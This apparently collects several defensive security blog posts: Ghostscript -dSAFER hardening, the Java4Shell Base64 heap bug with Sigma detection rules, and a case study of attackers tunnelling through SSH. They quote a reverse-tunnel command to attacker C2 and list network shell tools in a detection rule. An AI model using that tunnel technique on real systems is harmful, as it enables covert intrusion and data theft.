  5. Turn off PostScript in image pipelines that never need it. In ImageMagick’s policy.xml, deny the PostScript-family coders and the gs delegate (example below). The pwn.ai write-up doesn’t name policy.xml; this is my own standard hardening. In Pillow, pass an explicit allow-list via Image.open(fp, formats=[...]) so EPS is never tried.
  6. Check real file types before generating previews, and if patching has to wait, disable automatic previews of untrusted files. Run renderers in a sandbox (seccomp, AppArmor, a separate container with no egress) so a compromised interpreter cannot start a shell, which is what pwn.ai recommends.
<!-- ImageMagick policy.xml: block PostScript-family input -->
<policy domain="coder" rights="none" pattern="{PS,PS2,PS3,EPS,EPSI,EPSF,PDF,XPS}" />
<policy domain="delegate" rights="none" pattern="gs" />

Drop PDF from that list only if you really need PDF thumbnails, and then patch first. Verify with magick -list policy (or convert -list policy on ImageMagick 6), since distros ship their policy files in different places.

Detection and monitoring

No IOCs have been published, and pwn.ai offers no signatures. Its only artefacts are what its own proofs left behind: a marker file under /var/tmp on the print server and a PHP file on the WordPress test (no path given). So this is behaviour detection, best done on the host, where Ghostscript starts doing things a renderer never does. That needs process telemetry (Sysmon for Linux, auditd execve or an EDR), usually off by default on web and print servers. A network sensor that sees uploads in cleartext can flag delivery too.

RuleCategoryLog sourceATT&CKLevel
Ghostscript spawning shell, interpreter or download toolLinux, generic TTPprocess_creationT1059.004, T1190High
Image converter, PHP or CUPS filter spawning suspicious child as service accountLinux, generic TTPprocess_creationT1059.004, T1105Medium
Outbound network connection initiated by GhostscriptLinux, generic TTPnetwork_connectionT1105High
Ghostscript or service account writing to temp directoriesLinux, huntingfile_eventT1105Low
PostScript upload disguised as an image or PDFNetwork, emerging threatZeek httpT1190, T1036.008Medium

The rule I’d turn on first is the simplest: alert when gs, gsc or ghostscript starts a shell, a script interpreter or a download tool. Callers starting gs is routine (ImageMagick runs it as a delegate command line); gs starting a shell is not. The one legitimate exception I know of is a print setup that puts a %pipe% output on the gs command line, which the optional filter covers. Splunk’s ESCU “Linux Ghostscript Exploitation” analytic uses the same idea.

title: Ghostscript Spawning Shell, Interpreter or Download Tool - Potential -dSAFER Escape
id: 9a8d85d9-4f81-45f2-906b-1bf101ade773
status: experimental
description: |
    Detects a Ghostscript process (gs, gsc, ghostscript) starting a shell, script interpreter or network/download tool.
    A -dSAFER escape such as CVE-2026-125396 (Upload2Shell) ends with the interpreter running commands as the service
    account that called it (www-data, lp). Direction matters: callers starting gs is normal (ImageMagick runs it as a delegate command line), gs starting a shell is not.
references:
    - https://pwn.ai/upload2shell/research.html
    - https://www.cve.org/CVERecord?id=CVE-2026-125396
    - https://research.splunk.com/endpoint/580f99d8-a4c8-4ef1-9c84-f355867bca41/
    - https://github.com/ImageMagick/ImageMagick/blob/main/config/delegates.xml.in
    - https://netsec101.com/?p=476
author: netsec101.com
date: 2026-11-23
tags:
    - attack.execution
    - attack.t1059.004
    - attack.initial-access
    - attack.t1190
    - cve.2026-125396
logsource:
    product: linux
    category: process_creation
detection:
    selection_parent:
        ParentImage|endswith:
            - '/gs'
            - '/gsc'
            - '/ghostscript'
    selection_child_name:
        Image|endswith:
            - '/sh'
            - '/bash'
            - '/dash'
            - '/zsh'
            - '/ksh'
            - '/busybox'
            - '/perl'
            - '/ruby'
            - '/php'
            - '/curl'
            - '/wget'
            - '/nc'
            - '/ncat'
            - '/netcat'
            - '/socat'
            - '/telnet'
            - '/openssl'
    selection_child_python:
        Image|re: '/python[0-9.]*$'
    filter_optional_pipe_output:
        # Print setups that put an output pipe on the gs command line itself (for example -sOutputFile=%pipe%lpr)
        ParentCommandLine|contains:
            - '-sOutputFile=%pipe%'
            - '-sOutputFile=|'
    condition: selection_parent and 1 of selection_child_* and not 1 of filter_optional_*
falsepositives:
    - Print or conversion setups that pipe Ghostscript output to another command (the %pipe% device runs it through sh); keep the optional filter only where the pipe is on the gs command line, not in the document
    - Desktop or batch workflows that script Ghostscript with %pipe% output
level: high

After you patch, keep these rules running. The next -dSAFER escape will produce the same process tree, and old Ghostscript copies inside container images will outlive the host patches. Retro-hunt your process data back to at least September 8, 2026, when the fix and its diff became public. With no IOCs, there is nothing to age out; the PoC marker file only flags someone’s lab test.

I wrote up all five rules, with tuning notes, lab tests and ATT&CK coverage, in a separate detection post. The YAML lives in my Detection Rules repo, under Linux and Network.

My take

I think the memory bug is the least interesting thing here. Ghostscript -dSAFER escapes are a recurring genre, and this one follows the same pattern as 2018 and 2019. What Upload2Shell shows well is that “we validate uploads” usually means “we check the extension and MIME type,” and then the file goes to a library that ignores both. Yibelo told iTnews that “Almost every application we tested with file uploads could be tricked” into that hand-off. I believe it, and it means your upload-security review needs to follow the file past storage into every thumbnailer, indexer and converter.

I’m also unhappy with the disclosure. A fix in September, a CVE in November, a teaser in between and a PoC that landed alongside the press coverage gives attackers a clean diff and defenders no CVE to scan for during the window that mattered. Scanners keyed on CVE IDs couldn’t flag this until November 9.

What I’d do first: inventory Ghostscript inside containers, lock down any anonymous CUPS queue, and push the policy.xml change everywhere ImageMagick runs, patched or not. The next .forceput bug is probably already sitting in someone’s fuzzing corpus, and that policy line keeps working when it shows up.

Sources

Java4Shell (CVE-2026-114938): a Base64 JIT bug that needs AVX-512 VBMI hardware

Java4Shell (CVE-2026-114938): a Base64 JIT bug that needs AVX-512 VBMI hardware

Sixty-five characters. That is roughly how long a Base64 string has to be to make a Java server that was fully patched last week write 62 bytes past the end of an array on its own heap. No deserialization gadget, no JNDI lookup, no reflection trick: just a string ending in an equals sign, handed to the most boring API in the JDK on the wrong kind of CPU.

On November 17, 2026, the research firm Calif disclosed CVE-2026-114938, which it calls Java4Shell. It is a memory corruption bug in the hand-written AVX-512 assembly that HotSpot’s C2 compiler uses to speed up java.util.Base64 decoding. Calif says it turned that into pre-authentication remote code execution against default installs of Jira, Confluence, Keycloak, Jenkins, JFrog Artifactory and PingFederate. Oracle and the OpenJDK project shipped fixes the same day.

Severity: critical in my book, because of where Java runs and what Calif demonstrated, even though Oracle rates it 8.1 and real-world RCE is hard. It is a narrower bug than the name suggests, and the hardware gate matters more than most headlines admit. No in-the-wild exploitation was reported as of November 17, and I found nothing newer on November 18.

At a glance

  • CVE: CVE-2026-114938 (“Java4Shell”), heap out-of-bounds write (CWE-787 per Red Hat).
  • CVSS: 9.2 under CVSS 4.0 (Calif); 8.1 under CVSS 3.1, AV:N/AC:H/PR:N/UI:N (Oracle); Red Hat lists a preliminary 9.8.
  • Affected: OpenJDK 17.0.6 and later, plus the 21, 25 and 27 lines, and every distribution built from them (Oracle, Corretto, Temurin, Microsoft, Zulu, Liberica, SapMachine, Red Hat). Oracle’s Java 8 Enterprise Performance Pack build is also listed. Standard Java 8 and 11 are not.
  • Hardware gate: only x86-64 CPUs with AVX-512 VBMI (Intel Ice Lake Xeon and newer, AMD Zen 4 and newer, plus Intel’s 2019-2021 Ice Lake, Tiger Lake and Rocket Lake client chips per VulnCheck). ARM64 is not affected.
  • Exploitation: a trigger-only PoC is public. Calif’s product exploit chains are withheld. No in-the-wild exploitation reported as of November 17 (BleepingComputer, Tenable), and I found nothing newer on November 18; not in CISA KEV.
  • Fix: Oracle builds 17.0.21.1, 21.0.13.1, 25.0.5.1, 27.0.1.1 and 8u513-perf (as reported by Tenable). Other distributions on their own schedules. Workaround: -XX:-UseBASE64Intrinsics.
  • Who should care: anyone running internet-facing Java services on recent Intel or AMD server hardware, physical or cloud.

What we know

Calif researcher Quang Luong found the bug. According to BleepingComputer, he used OpenAI’s Codex while auditing OpenJDK internals, found the flaw in about an hour, had a first working exploit about two hours later, and spent under $200 in AI usage. Oracle credits Luong and Albert Yang, per Tenable. Red Hat says Calif reported the issue to it ahead of Oracle’s fix.

The OpenJDK advisory and Oracle’s November 2026 Critical Patch Update went out on November 17 at 1:00 pm Pacific, per Calif. BleepingComputer reports the CPU fixes 655 vulnerabilities across Oracle’s portfolio. A sourcing caveat: I could not open Oracle’s CPU page or the OpenJDK advisory (both returned HTTP 403), so the fixed builds below come from Tenable’s and HeroDevs’ reading of Oracle’s documents. They agree, but treat them as unverified until you see them in your vendor’s release notes.

Calif published a root-cause write-up and a standalone trigger program whose overflow stays inside a larger array it owns, so it proves the bug safely. The product-specific chains stay private until users have had time to upgrade. No in-the-wild exploitation was reported as of November 17, and I found nothing newer on November 18.

How it works

An intrinsic is a method the JIT compiler swaps out for hand-tuned machine code. Once a Base64 decode call gets hot enough for C2 to compile it, and the CPU advertises AVX-512 VBMI, HotSpot stops running the Java implementation and runs a vectorised assembly routine instead. This intrinsic (JDK-8268276, per HeroDevs) landed in JDK 18 and reached 17.0.6 in January 2023 (Equixly): nearly four years in production.

The final chunk of input is written with a masked 64-byte vector store: a mask decides which of the 64 byte lanes actually get written. Calif explains that the mask is derived from the remaining output length, and the padding logic decrements that length once for each =, even after it has already reached zero. The counter goes to -1 or -2. The bit-manipulation instruction that builds the mask treats that negative value as “everything”, so all 64 lanes are written. In Calif’s example, 64 valid characters plus one = leave a 50-byte output buffer, the store starts at offset 48, and 62 bytes land past the end.

Two details shape the real risk. First, the attacker controls very little of what gets written: Calif says byte 0 is fully controlled, byte 1 only partly (4 bits), and bytes 2 to 63 are uncontrolled, with bytes 48 to 63 always 0x9a. Second, the decoder then throws IllegalArgumentException as if nothing happened, so the application sees an ordinary “bad input” error while its heap is already damaged.

Five-step diagram of the Java4Shell attack chain: reach a Base64 decode with attacker input, warm the decoder until C2 compiles it, send input ending in a padding character, the AVX-512 masked store overwrites 62 bytes past the array, and heap grooming turns corruption into a crash or code execution.
How Java4Shell goes from a Base64 string to heap corruption. Based on Calif’s write-up, VulnCheck and Equixly.

Getting from there to code execution is the hard part. Per Calif, each target needs a route to the decoder, a useful object right after the array, a way to read memory back, and a heap layout that lines it all up. Grooming is probabilistic, failed attempts can crash the JVM, and remote grooming is sensitive to network latency (Calif rented a VM in the same cloud region as its targets). VulnCheck adds that RCE needs non-trivial heap grooming plus a memory disclosure to get past ASLR.

Which code paths reach it? Equixly and HeroDevs point at everyday inputs: HTTP Basic Authorization headers, which Spring Security decodes before any password check (Equixly) and which HeroDevs lists as a pre-auth route through Jetty’s and Tomcat’s BasicAuthenticator (Tomcat 9.0.89+ and 10.1.23+); JWTs in libraries that call Base64.getUrlDecoder(), such as Auth0 java-jwt; and Base64 fields in request bodies. The MIME decoder and libraries with their own decoders (Jackson, Commons Codec, JJWT, Nimbus) avoid the flawed path. Calif also mentions a client-side exploit, shared by samczsun, that works against a Java program connecting over TLS to a malicious server.

Who is affected and how badly

Three conditions have to hold at the same time, and this is where the exposure gets smaller than “every Java app”.

Diagram of the three gates that must all be open for Java4Shell exposure: an affected JDK build, an x86-64 CPU with AVX-512 VBMI, and an attacker-reachable java.util.Base64 basic or URL decode. Lists what closes each gate.
All three gates must be open. Closing any one of them removes the exposure.

The JDK gate is wide: 17.0.6 through the November 17 builds, and all of 21, 25 and 27. The hardware gate is the interesting one. VulnCheck notes that Intel disabled AVX-512 on client chips from Alder Lake (12th gen) onward, so most developer laptops will not reproduce this, while Ice Lake and Sapphire Rapids Xeons and AMD Zen 4/5 EPYC servers will. ARM hosts such as Graviton and Ampere are out. The blind spot: “it doesn’t reproduce on my laptop” tells you nothing about production.

The reachability gate is where the products come in. Calif’s pre-auth list includes identity providers (Keycloak, PingFederate) and build infrastructure (Jenkins, Artifactory), exactly the boxes you least want an attacker on. Its post-auth list adds Kafka, Solr, Elasticsearch, Gerrit and Spinnaker. Both lists are non-exhaustive.

On the severity gap: Oracle scored attack complexity high, which drags CVSS 3.1 to 8.1. Calif has not published the CVSS 4.0 vector behind its 9.2, so I can’t say which metrics differ. My practical split: denial of service is easy (VulnCheck says a burst of requests reliably brought a service down in its testing), and RCE is expensive. Calif has demonstrated it against real products. Others claim it without public proof: Wiz says its tooling built an exploit within two hours, Kevin Breen of Immersive says he has an application-specific exploit (per Tenable), and VulnCheck sells a full RCE exploit to its customers. None of those exploits is public, and no in-the-wild exploitation was reported as of November 17; I found nothing newer on November 18.

What to do now

  1. Find your exposed JVMs first, not your Java installs. A host is in scope only if the running JDK is affected and the CPU exposes avx512f, avx512bw, avx512vbmi and bmi2. Check inside the container, not on the host.
  2. Patch internet-facing identity and CI systems first: Keycloak, PingFederate, Jenkins, Jira, Confluence, Artifactory. For Oracle JDKs, the fixed builds reported are 17.0.21.1, 21.0.13.1, 25.0.5.1, 27.0.1.1 and 8u513-perf. For Temurin, Corretto, Zulu, Microsoft, Red Hat and others, wait for the vendor’s own release that names CVE-2026-114938. As of November 18 I could not confirm those version numbers, and Red Hat says it is still assessing its packages (bulletin RHSB-2026-018).
  3. Check bundled runtimes: container images and vendor installers can carry their own JDK, so rebuild images on patched bases. Upgrading Spring, Tomcat or Jetty does nothing here; only the JDK fix closes it (HeroDevs). Restart or redeploy after patching, because a running JVM keeps the old code.
  4. Where you cannot patch today, add -XX:-UseBASE64Intrinsics to the JVM options. It disables only the vulnerable fast path. VulnCheck’s tested form puts -XX:+UnlockDiagnosticVMOptions in front of it. The blunter -XX:UseAVX=2 also works on x86-64 but slows other vectorised code such as crypto (Equixly), and Calif warns that a JVM on ARM refuses to start with it, so do not roll it out fleet-wide blindly. Neither Oracle nor OpenJDK has endorsed these flags.
  5. Do not lean on your reverse proxy: Calif says nginx request buffering is not a mitigation and does nothing for WebSocket frames. And, as HeroDevs warns, do not run unreviewed GitHub “PoC” repositories or send the trigger to a live service.

A quick inventory pass on a Linux host or inside a container. The CPU flag check is the one Calif publishes; the process and flag checks are my own commands, built on the published CPU flag names and the two workaround flags. Run it inside the workload (for example with kubectl exec), as the same user as the JVM. jcmd ships with a full JDK, so JRE-only images need the /proc lines instead:

# CPU gate: prints 4 when all four flags are present and the vulnerable path can run
grep -m1 '^flags' /proc/cpuinfo | tr ' ' '\n' | grep -cE '^(avx512f|avx512bw|avx512vbmi|bmi2)$'
# Which JDK is this running process actually using?
readlink -f /proc/<PID>/exe
"$(readlink -f /proc/<PID>/exe)" -version
jcmd <PID> VM.version
# Is the workaround set on the running process (command line or JAVA_TOOL_OPTIONS)?
tr '\0' '\n' < /proc/<PID>/cmdline | grep -E 'UseBASE64Intrinsics|UseAVX'
tr '\0' '\n' < /proc/<PID>/environ | grep JAVA_TOOL_OPTIONS
jcmd <PID> VM.flags | tr ' ' '\n' | grep -E 'UseBASE64Intrinsics|UseAVX'

One trap: java -XX:+PrintFlagsFinal -version starts a new JVM from whatever java is on your PATH and shows its defaults. It tells you nothing about the flags of a service that is already running.

Detection and monitoring

No IOCs have been published, and VulnCheck’s network and Sigma rules are customer-only, so everything here is behaviour-based. Two parts of the attack can be caught: the input itself, if something in front of the JVM can inspect the Authorization header, and the crashes that failed grooming and trigger bursts cause (Calif, VulnCheck). The middle of the attack, warming the decoder with valid requests, looks exactly like normal traffic.

RuleCategoryLog sourceATT&CKLevel
Basic Authorization with impossible Base64 paddingWeb/AppWAF or proxy (webserver)T1190, T1499.004High
JWT Bearer token containing paddingWeb/AppWAF or proxy (webserver)T1190, T1499.004Medium
JVM fatal error log hs_err_pid createdCross-Platformfile_event (Sysmon, EDR)T1499.004, T1190Medium
JVM fatal error banner in service outputWeb/Appjvm application (stdout, pod logs)T1499.004, T1190Medium

The highest-signal rule is the first one. Correctly padded Base64 always has a length that is a multiple of four, and the trigger Calif describes is a run of valid characters ending in = just past a 64-character block, which no encoder produces. The rule alerts when a Basic credential of at least 32 Base64 characters ends in padding but has an impossible length. Equixly suggested this check. One warning: most access logs do not record the Authorization header, and logging it means storing passwords, so run this logic in your WAF and log only the verdict.

title: Java4Shell Trigger Shape - Basic Authorization With Impossible Base64 Padding
id: 9dc30520-911b-44ef-a532-16ff2ef66e47
name: java4shell_basic_auth_impossible_padding
status: test
description: |
Detects HTTP Basic Authorization values of 32 or more Base64 characters that end in '=' padding but whose
total length is not a multiple of four, which no valid encoder produces. This is the input shape that
triggers the CVE-2026-114938 (Java4Shell) heap overflow in the HotSpot AVX-512 Base64 decode intrinsic.
references:
- https://calif.io/java4shell/
- https://equixly.com/blog/2026/11/17/cve-2026-114938-pre-auth-heap-overflow-in-java-17-21-and-25/
- https://www.vulncheck.com/blog/java4shell
- https://netsec101.com/?p=326
author: netsec101.com
date: 2026-11-18
tags:
- attack.initial-access
- attack.impact
- attack.t1190
- attack.t1499.004
- cve.2026-114938
- detection.emerging-threats
logsource:
category: webserver
definition: 'Requirement: a WAF, reverse proxy or API gateway that can inspect the Authorization request header, mapped to the field cs-authorization. Access logs do not record this header by default, and storing Basic credentials in a SIEM is a risk in itself: prefer running this logic inside the WAF and logging only the verdict.'
detection:
selection_impossible_padding:
cs-authorization|re: '^[Bb][Aa][Ss][Ii][Cc] +(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]?={1,2}|[A-Za-z0-9+/]{2}=|[A-Za-z0-9+/]{3}==)$'
selection_min_length:
cs-authorization|re: '^[Bb][Aa][Ss][Ii][Cc] +[A-Za-z0-9+/]{32}'
condition: all of selection_*
falsepositives:
- Vulnerability scanners and fuzzers that send malformed Basic credentials
- Broken clients that truncate or hand-build the header (rare; baseline first)
level: high

For monitoring, the crash rules matter more than the header rules, because they also cover routes no log can see: Base64 in request bodies, WebSocket frames and the client-side TLS case. Equixly warns the crash log will probably not mention Base64, since the damage is usually noticed later by the garbage collector, so do not filter on it. Treat an unexplained crash of an internet-facing Java service on an AVX-512 host as a possible attempt, and, as HeroDevs advises, rotate the secrets that service held in memory. The JVM writes hs_err_pid<pid>.log to its working directory, or to /tmp if that fails (Oracle’s troubleshooting guide), so retro-hunt every mount, not just the root file system. I would search about a month before disclosure too: the bug sat in production for nearly four years and Wiz says it had an exploit before full disclosure. Keep these rules on after patching, since a JVM keeps the old code until it restarts, and container images rebuilt from old bases bring it back.

# JVM crash logs since October 18, 2026, on all mounted file systems (Linux)
# (this includes network mounts; prune them if the search is slow)
find / \( -path /proc -o -path /sys \) -prune -o -type f -name 'hs_err_pid*.log' -newermt '2026-10-18' -print 2>/dev/null
# Was a custom crash-log location set for this JVM?
tr '\0' '\n' < /proc/<PID>/cmdline | grep ErrorFile

I wrote up all four rules, with tuning notes, a correlation for “decode errors then restart”, ATT&CK coverage and the gaps, in a separate detection post. The YAML lives in my Detection Rules repo.

My take

The “4Shell” branding oversells the ease of exploitation and undersells the bug class. This is not Log4Shell: there is no one-line payload that pops every vulnerable host, the attacker controls about a byte and a half of the overflow, and a working chain needs per-product engineering plus a memory leak. VulnCheck’s skepticism about the hype is fair on that point.

But I would still patch this week, ahead of most of the 655 other items in the CPU, for two reasons. The cheap outcome, crashing your SSO or CI server with a malformed header, needs no grooming at all. And the expensive outcome got a lot cheaper: one researcher with an AI coding assistant found the bug in an hour, and on disclosure day four separate teams (Calif, Wiz, VulnCheck and Immersive’s Kevin Breen) said they had working exploits, although only Calif has shown its work. When the AI bill for finding the bug and a first exploit is under $200, “attack complexity: high” stops being much comfort. The one thing in our favour: no in-the-wild exploitation was reported as of November 17, and I found nothing newer on November 18.

The bigger lesson is about memory safety in a “memory-safe” language. Java developers do not think about bounds checks because the JVM does them, except inside the hand-written assembly the JVM uses to go fast. Because those intrinsics are gated on CPU features, exploitability depends on which instance type the scheduler picked. I expect more bugs like this as AI-assisted auditing reaches JIT intrinsics. First thing I’d do tomorrow: list every internet-facing JVM running on Ice Lake-or-newer Intel or Zen 4-or-newer AMD hardware, and start with the identity providers.

Sources

How Attackers Abuse SSH Tunneling: A Real Intrusion, Step by Step

How Attackers Abuse SSH Tunneling: A Real Intrusion, Step by Step

This is Part 2 of a three-part series. Part 1 explains how SSH tunneling works. Part 3 covers detection with Sigma and Elastic.

Here’s an uncomfortable truth about SSH tunneling: everything that makes it great for admins makes it great for attackers too. It’s encrypted, so the contents are hidden. It uses a protocol that’s allowed almost everywhere. The tools are already installed on most Linux systems, and on modern Windows too. And with a reverse tunnel, the connection starts from inside your network, so your inbound firewall rules never get a say.

MITRE ATT&CK tracks this as T1572 Protocol Tunneling, and it shows up in reports on state-sponsored groups and ransomware gangs alike. Rather than talk about it in the abstract, let’s take apart a real case.

The case: a federal agency, a file server and a fake Windows process

In September 2020, CISA published Analysis Report AR20-268A about an attacker who had broken into the network of an unnamed U.S. federal agency. CISA spotted the activity through EINSTEIN, its intrusion detection system for federal civilian networks, and then ran an incident response engagement with the agency.

The report is a great teaching case because the attacker’s whole persistence and command-and-control setup was built around an SSH tunnel. No custom backdoor protocol, no exotic exploit chain, just PuTTY’s command-line client with a new name, a few scheduled tasks and some public GitHub scripts.

Diagram of the CISA AR20-268A intrusion: implants on a file server create an SSH tunnel and reverse SOCKS proxies to attacker infrastructure and send data out.
How the tunnel was built. Every implant on the file server ran as a scheduled task. Based on CISA AR20-268A; IP addresses are defanged.

How the attack unfolded

Step 1: Walking in with valid credentials

The attacker didn’t need to break anything to get in. They already had working credentials for several Office 365 accounts and for domain administrator accounts. They logged in to O365, browsed a SharePoint site and downloaded a file. They also made repeated connections to the agency’s VPN server.

CISA couldn’t determine how the credentials were stolen. Its best guess was that they came from an unpatched Pulse Secure VPN server through CVE-2019-11510, a file-read bug that was widely exploited across federal networks at the time. That’s a hypothesis in the report, not a confirmed finding.

Step 2: Looking around

Next came reconnaissance. The attacker read help-desk emails with subjects like “Intranet access” and “VPN passwords” (CISA notes those emails didn’t actually contain passwords). They logged in to the same mailbox over RDP, enumerated Active Directory and Group Policy, and changed a Group Policy registry key.

Then they ran the usual built-in commands for getting a feel for a network: ipconfig, net, query, netstat, ping and whoami. Mixed in with those was plink.exe. That’s the first sign of the tunnel to come.

Step 3: Building the tunnel

This is the heart of the attack. Logged in as Administrator, the attacker set up two scheduled tasks on a file server that worked as a pair:

  • ShellExperienceHost.exe ran daily. Despite the name, which belongs to a real Windows component, it was a renamed copy of plink.exe. It kept an SSH tunnel open to an attacker-controlled server at 206.189.18[.]189, so that connections to port 39999 on that server came out on the file server on port 8100.
  • WinDiag.exe ran at boot. It was a reverse SOCKS proxy listening on TCP 8100. Traffic arriving through the tunnel was handed to it, and responses were relayed to a VPS at 185.193.127[.]17 over port 443.

Put together, that gave the attacker a way to route their tools into the agency’s internal network through the file server, on a daily schedule, in encrypted traffic that looked like an ordinary outbound connection. Port 8100 normally isn’t open at all. The malware opened it, which is one of the details CISA highlights as something defenders could have caught.

The attacker didn’t stop at one path. A PowerShell script named HardwareEnumeration.ps1, a lightly modified copy of the public Invoke-SocksProxy tool, set up a second reverse SOCKS proxy from the file server to 185.193.127[.]18 over port 443 and also ran daily. They also mounted a remote share hosted at 78.27.70[.]237 on the local machine, which let them move files around while leaving fewer forensic artifacts.

Step 4: Getting past the antivirus

One more scheduled task launched inetinfo.exe, a multi-stage dropper that decrypted a payload, injected it into a second copy of itself, and ran shellcode in memory that downloaded more code from 185.142.236[.]198.

The agency’s anti-malware product actually caught it. But the attacker had already read the product’s license key and installation guide and found its quarantine folder. They ran the dropper after it had been quarantined. It’s a sobering reminder that an alert isn’t the same thing as a blocked attack.

Step 5: Collecting and moving data out

With persistence in place, the attacker created a local account and used it for collection and exfiltration. They browsed directories on the file server, copied a file from a user’s home directory to the mounted remote share, and used the RDP client’s drive redirection (tsclient) to pull data from an account directory and a file server directory. They also created two ZIP archives of files and folders.

CISA says those archives were likely exfiltrated, but because the attacker masked their activity so well, it couldn’t confirm what actually left the network. That uncertainty is itself the point: once traffic is inside an encrypted tunnel, it’s very hard to say after the fact what went through it.

The kill chain

Seven-stage kill chain of the CISA AR20-268A intrusion, from initial access to exfiltration, with MITRE ATT&CK technique IDs.
The intrusion mapped to seven stages. Technique IDs come from the CISA report, except T1036, which is our own mapping.

Looking at the whole chain, the tunnel isn’t just one step. It’s what holds everything after initial access together. It gave the attacker persistence (it came back every day and at every reboot), command and control (their tools reached inside through it), and a route for data to leave.

A newer twist: tunnels from the hypervisor

The CISA case is from 2020, but the technique hasn’t gone anywhere. It’s moved to places defenders watch even less. In January 2025, incident response firm Sygnia described ransomware actors using VMware ESXi hosts as tunnel endpoints.

According to Sygnia, the attackers got onto ESXi either with stolen admin credentials or by exploiting a known authentication-bypass vulnerability. Then they used the hypervisor’s own SSH client to open a reverse SOCKS tunnel to their command-and-control server. The command they published looks like this:

ssh -fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address>
Diagram of an ESXi hypervisor opening an outbound reverse SSH tunnel to attacker C2, giving SOCKS access to internal systems.
The ESXi variant: a reverse SOCKS tunnel from the hypervisor itself, based on Sygnia’s January 2025 research.

That’s the reverse dynamic forwarding we covered in Part 1. It’s a single built-in command with no malware to drop. Sygnia points out why ESXi makes such a good hiding spot: hypervisors are rarely monitored, they almost never reboot unexpectedly, so the tunnel acts as a semi-persistent backdoor, and their logs are spread across several files that many teams never collect. From there, the attackers used the access to move laterally and deploy ransomware, with the goal of stealing and encrypting virtual machine files.

Why this works so well for attackers

  • Living off the land. ssh is on every Linux box, ESXi host and Windows 10/11 machine. plink is a signed, widely used admin tool. Nothing about the binary itself looks malicious.
  • Outbound beats inbound. Reverse tunnels start from the inside, and most networks are far stricter about what comes in than what goes out.
  • Encryption hides intent. Network tools can see that a session exists, but not that an attacker is running Active Directory queries or copying files through it.
  • Persistence is trivial. A scheduled task, a cron job or a systemd unit brings the tunnel back whenever it drops.
  • Blind spots are everywhere. File servers, appliances and hypervisors often have little or no endpoint monitoring, which is exactly where these tunnels were built.

Where defenders could have stepped in

StageWhat would have helped
Initial accessPatching the VPN, MFA on O365 and VPN, resetting credentials after a known-exploited VPN bug
DiscoveryAlerting on unusual mailbox searches and AD/GPO enumeration by accounts that don’t normally do it
PersistenceAlerts on new scheduled tasks and new local accounts on servers (Windows events 4698 and 4720)
Defense evasionFlagging binaries whose metadata says “PuTTY” but whose name says Windows; treating AV detections on servers as incidents, not just tickets
Command and controlBlocking outbound SSH from servers; alerting on newly opened listening ports like 8100; watching long-lived outbound sessions
ExfiltrationWatching for large or unusual outbound transfers, RDP drive redirection and SMB to the Internet
ESXi variantDisabling SSH on hypervisors when not in use and forwarding ESXi logs to a SIEM

CISA’s own recommendations line up with this: monitor for unusual open ports and large outbound transfers, block unneeded outbound SSH, SMB and FTP, enforce MFA (especially for privileged accounts), use separate admin accounts on dedicated workstations, and keep endpoint protection running everywhere.

The takeaway

Neither of these attacks needed anything fancy. The federal agency intrusion used a renamed free tool and a couple of scheduled tasks. The ESXi attacks used a single line of standard SSH. What made them dangerous was where they ran and how few people were watching.

That’s good news, in a way. If you know what to look for, these tunnels leave plenty of traces. In Part 3, we’ll go through those traces one by one and turn them into Sigma and Elastic detection rules.

Indicators from CISA AR20-268A

These are from 2020 and are almost certainly stale now. They’re listed for completeness, not for blocking.

185.86.151[.]223    C2
91.219.236[.]166    C2
207.220.1[.]3       C2
206.189.18[.]189    SSH tunnel endpoint
185.193.127[.]17    reverse SOCKS (named in malware section)
185.193.127[.]18    persistence / reverse SMB SOCKS
185.142.236[.]198   payload download
78.27.70[.]237      data exfiltration

Files: ShellExperienceHost.exe (renamed plink.exe), WinDiag.exe,
       HardwareEnumeration.ps1, inetinfo.exe, system.dll, invoke-TmpDavFS.psm

Sources